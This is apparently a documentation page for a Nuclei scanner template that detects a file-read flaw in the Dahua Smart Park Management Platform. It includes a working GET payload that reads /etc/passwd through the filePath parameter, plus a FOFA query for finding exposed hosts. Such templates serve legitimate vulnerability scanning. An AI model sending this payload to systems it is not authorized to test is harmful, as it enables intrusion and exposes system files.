Dahua Smart Park Management Platform - Arbitary File Read
ID: dahua-wpms-lfi
Severity: high
Author: DhiyaneshDk
Tags: lfi,dahua,wpms
Description
Section titled “Description”Dahua Smart Park Management Platform is vulnerable to Local File Inclusion.
YAML Source
Section titled “YAML Source”id: dahua-wpms-lfi
info: name: Dahua Smart Park Management Platform - Arbitary File Read author: DhiyaneshDk severity: high description: Dahua Smart Park Management Platform is vulnerable to Local File Inclusion. reference: - https://mp.weixin.qq.com/s/uRhVl2XC5fTNKO8eDFFebA - https://github.com/Vme18000yuan/FreePOC/blob/master/poc/pocsuite/dahua_zhyq_attachment_fileread.py metadata: verified: true max-request: 1 fofa-query: body="src=\"/WPMS/asset/common/js/jsencrypt.min.js\"" tags: lfi,dahua,wpms
http: - method: GET path: - "{{BaseURL}}/portal/itc/attachment_downloadByUrlAtt.action?filePath=file:/etc/passwd"
matchers-condition: and matchers: - type: word part: header words: - filename=passwd
- type: regex regex: - "root:.*:0:0:"
- type: status status: - 200# digest: 490a004630440220067f1ef3e271492451c03a5f8b25ef3f56c5fa989ab6c8cce1f011a42fb9d4ed02200545eeaa3cc6155904d3287bd92a4c70325ae185e93780c3a13e06a3b98cb7c5:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/dahua/dahua-wpms-lfi.yaml"